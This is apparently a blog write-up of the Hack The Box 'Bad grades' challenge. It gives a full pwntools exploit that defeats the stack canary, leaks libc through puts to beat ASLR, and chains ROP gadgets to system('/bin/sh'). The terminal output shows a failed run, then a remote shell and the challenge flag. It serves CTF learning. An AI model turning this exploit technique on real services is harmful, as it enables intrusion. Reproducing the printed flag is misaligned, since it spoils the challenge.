Top 5 This Week

Related Posts

HTB – Hack the Box – Bad grades

HTB – Hack the Box – Bad grades: A Technical Exploitation Guide

This tutorial, part of the “HTB – Hack the Box Series” (find more at HTB Series), focuses on the ‘Bad grades’ challenge, providing an in-depth technical analysis and step-by-step exploitation approach.

Exploit Development and Analysis

The ‘Bad grades’ challenge in Hack The Box offers a real-world scenario for testing advanced binary exploitation techniques using Python and PwnTools. This guide will demonstrate a meticulous process to exploit vulnerabilities in the challenge.

Initial Approach and Setup

  • Establish a remote connection to the HTB server for the ‘Bad grades’ challenge.
  • Prepare the local environment with necessary tools like Python 3 and PwnTools.

Detailed Exploitation Process

Our goal is to methodically manipulate the binary application ‘bad_grades’ through a crafted Python script. The script aims to exploit buffer overflow vulnerabilities and bypass security mechanisms like ASLR (Address Space Layout Randomization).Executing the Exploit

Upon execution, the exploit interacts with the HTB challenge, enabling us to observe the behavior of the application and the impact of our exploitation strategy.

Step-by-Step detailed tutorial

└─$ cat exploit.py
from pwn import *

def hex_to_double(val):
        # we need to make sure it is 8 bytes so use 64bits packer
        val = p64(val).hex()
        # print(val) # debug to see if there is "0x" infront
        # return in double (little endian)
        val = struct.unpack('d', bytes.fromhex(val))[0]

        # our input must be in string when sending over to the server
        return str(val)

binary = ELF("./bad_grades")
context.arch = 'amd64'

rop_binary = ROP(binary)

r = remote("134.209.22.69" ,30159)


############################# LEAK LIBC's address ############################# 

# choose choice 2 after the main page when receive prompt
r.sendlineafter("> ", "2")
# 36th is the start of RET addr location. Need 4 indexes for our ROP chain
r.sendlineafter("Number of grades: ", "39")

# We will just use dot (.) to skip all grades input from the 1st 33 indexes (index 0 to 32). 
# Using dot (.) at index 33 helps to skip canary from being overwritten.
# Index 34 is the base pointer. Can overwrite it but I choose not to by skipping it.
for i in range(35):
        r.sendline(".")

# Have to one by one send parts of our ROP payload instead of usually ROP string chain since input is in double

# find POP RDI to store our puts.got address into RDI since it is on stack after our gadget address by writing to index 35
r.sendline(hex_to_double(rop_binary.find_gadget(["pop rdi", 'ret'])[0]))
# so that we will put this puts.got on stack so that can be pop into RDI by our gadget to leak ASLR puts at libc's address by writing to index 36
r.sendline(hex_to_double(binary.got["puts"]))
# to print the ASLR address of puts in libc by writing to index 37
r.sendline(hex_to_double(binary.plt["puts"]))
# jump back to choice_2() by writing to index 38
r.sendline(hex_to_double(0x400FD5))

# to ignore the printed average grade result
r.recvuntil("\n")
leaked_puts_libc_addr = u64(r.recvuntil("\n").strip().ljust(8, b"\x00"))
log.info("Leaked server's libc address, puts(): " + hex(leaked_puts_libc_addr))


# set local libc's address to server's ASLR libc's base address
libc = ELF("./libc.so.6")
libc.address = leaked_puts_libc_addr - libc.symbols['puts']
log.info("Leaked server's libc base address: " + hex(libc.address))




############################# GET SHELL #############################

rop_libc = ROP(libc)

# 36th is the start of RET addr location. Need 4 indexes for our ROP chain
r.sendlineafter("Number of grades: ", "39")

# We will just use dot (.) to skip all grades input from the 1st 33 indexes (index 0 to 32). 
# Using dot (.) at index 34 helps to skip canary from being overwritten.
# Index 34 is the base pointer. Can overwrite it but I choose not to by skipping it.
for i in range(35):
        r.sendline(".")

# put gadget with only "RET" by writing to index 35 which is a dummy gadget so that we have have stack alignment
r.sendline(hex_to_double((rop_libc.find_gadget(["ret"]))[0]))
# find POP RDI to store "/bin/sh" address into RDI since it is on stack after our gadget address by writing to index 36
r.sendline(hex_to_double(rop_libc.find_gadget(["pop rdi", 'ret'])[0]))
# find the address of string "/bin/sh" and put on stack by writing to index 37
r.sendline(hex_to_double(next(libc.search(b"/bin/sh\x00"))))
# to "return"/jump to system() by writing to index 38
r.sendline(hex_to_double(libc.symbols["system"]))

# to ignore the printed average grade result
r.recvuntil("\n")

r.interactive()
                                                                                                                                                                                                                                        
┌──(toor㉿kali)-[~/Downloads]
└─$ 

 

──(toor㉿kali)-[~/Downloads]
└─$ python3 exploit.py   
[*] '/home/toor/Downloads/bad_grades'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loading gadgets for '/home/toor/Downloads/bad_grades'
[+] Opening connection to 134.209.22.69 on port 30159: Done
/home/toor/Downloads/exploit.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("> ", "2")
/home/toor/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/toor/Downloads/exploit.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("Number of grades: ", "39")
/home/toor/Downloads/exploit.py:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(".")
/home/toor/Downloads/exploit.py:37: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double(rop_binary.find_gadget(["pop rdi", 'ret'])[0]))
/home/toor/Downloads/exploit.py:39: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double(binary.got["puts"]))
/home/toor/Downloads/exploit.py:41: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double(binary.plt["puts"]))
/home/toor/Downloads/exploit.py:43: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double(0x400FD5))
/home/toor/Downloads/exploit.py:46: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.recvuntil("\n")
/home/toor/Downloads/exploit.py:47: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  leaked_puts_libc_addr = u64(r.recvuntil("\n").strip().ljust(8, b"\x00"))
[*] Leaked server's libc address, puts(): 0xa0
[*] '/home/toor/Downloads/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Leaked server's libc base address: -0x80a00
[*] Loading gadgets for '/home/toor/Downloads/libc.so.6'
/home/toor/Downloads/exploit.py:64: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("Number of grades: ", "39")
/home/toor/Downloads/exploit.py:70: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(".")
Traceback (most recent call last):
  File "/home/toor/Downloads/exploit.py", line 73, in <module>
    r.sendline(hex_to_double((rop_libc.find_gadget(["ret"]))[0]))
  File "/home/toor/Downloads/exploit.py", line 5, in hex_to_double
    val = p64(val).hex()
  File "/home/toor/.local/lib/python3.10/site-packages/pwnlib/context/__init__.py", line 1596, in setter
    return function(*a, **kw)
  File "/home/toor/.local/lib/python3.10/site-packages/pwnlib/util/packing.py", line 350, in routine
    return {("little", True  ): ls,
  File "/home/toor/.local/lib/python3.10/site-packages/pwnlib/util/packing.py", line 323, in routine
    return struct_op(data)
struct.error: argument out of range
[*] Closed connection to 134.209.22.69 port 30159
                                                                                                           
┌──(toor㉿kali)-[~/Downloads]
└─$ python3 exploit.py
[*] '/home/toor/Downloads/bad_grades'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './bad_grades'
[+] Opening connection to 134.209.22.69 on port 30159: Done
/home/toor/Downloads/exploit.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("> ", "2")
/home/toor/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/toor/Downloads/exploit.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("Number of grades: ", "39")
/home/toor/Downloads/exploit.py:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(".")
/home/toor/Downloads/exploit.py:37: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double(rop_binary.find_gadget(["pop rdi", 'ret'])[0]))
/home/toor/Downloads/exploit.py:39: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double(binary.got["puts"]))
/home/toor/Downloads/exploit.py:41: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double(binary.plt["puts"]))
/home/toor/Downloads/exploit.py:43: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double(0x400FD5))
/home/toor/Downloads/exploit.py:46: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.recvuntil("\n")
/home/toor/Downloads/exploit.py:47: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  leaked_puts_libc_addr = u64(r.recvuntil("\n").strip().ljust(8, b"\x00"))
[*] Leaked server's libc address, puts(): 0x7f133d854aa0
[*] '/home/toor/Downloads/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Leaked server's libc base address: 0x7f133d7d4000
[*] Loaded 199 cached gadgets for './libc.so.6'
/home/toor/Downloads/exploit.py:64: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("Number of grades: ", "39")
/home/toor/Downloads/exploit.py:70: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(".")
/home/toor/Downloads/exploit.py:73: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double((rop_libc.find_gadget(["ret"]))[0]))
/home/toor/Downloads/exploit.py:75: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double(rop_libc.find_gadget(["pop rdi", 'ret'])[0]))
/home/toor/Downloads/exploit.py:77: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double(next(libc.search(b"/bin/sh\x00"))))
/home/toor/Downloads/exploit.py:79: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(hex_to_double(libc.symbols["system"]))
/home/toor/Downloads/exploit.py:82: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.recvuntil("\n")
[*] Switching to interactive mode
$ whoami
ctf
$ ls
bad_grades
flag.txt
libc.so.6
run_challenge.sh
$ cat flag.txt
HTB{c4n4ry_1s_4fr41d_0f_s1gn3d_numb3r5}
/home/ctf/run_challenge.sh: line 2:    30 Alarm clock             ./bad_grades
[*] Got EOF while reading in interactive
$  

Conclusion and Takeaways

Through this tutorial, we have explored the intricacies of binary exploitation, enhancing our understanding of cybersecurity challenges in a practical context.

Cogeanu Marius
Cogeanu Mariushttps://cogeanu.com
Marius Cogeanu is a distinguished IT consultant and cybersecurity virtuoso based in Prague, Czechia. With a rich 20-year journey in the IT realm, Marius has carved a niche in network security and technological solutions, adeptly harmonizing tech with business requirements. His experience spans from Kyndryl to IBM, and as a valued independent consultant, where he's renowned for his innovative approaches in enhancing business operations with cutting-edge tech.Marius's forte lies in demystifying complex IT concepts, ensuring clarity and alignment for stakeholders at all levels. His commitment to staying at the forefront of industry trends and seeking innovative solutions cements his status as a go-to expert in cybersecurity. Driven by a fervent passion for technology and its potential to revolutionize businesses, Marius thrives on tackling challenging ventures, applying his prowess in network design, IT service management, and strategic planning.Currently, Marius is focused on leading-edge IT project management, infrastructure design, and fortifying cybersecurity, guiding clients through the intricate digital landscape with unmatched expertise and insight.Discover more on https://cogeanu.com

LEAVE A REPLY

Please enter your comment!
Please enter your name here

Popular Articles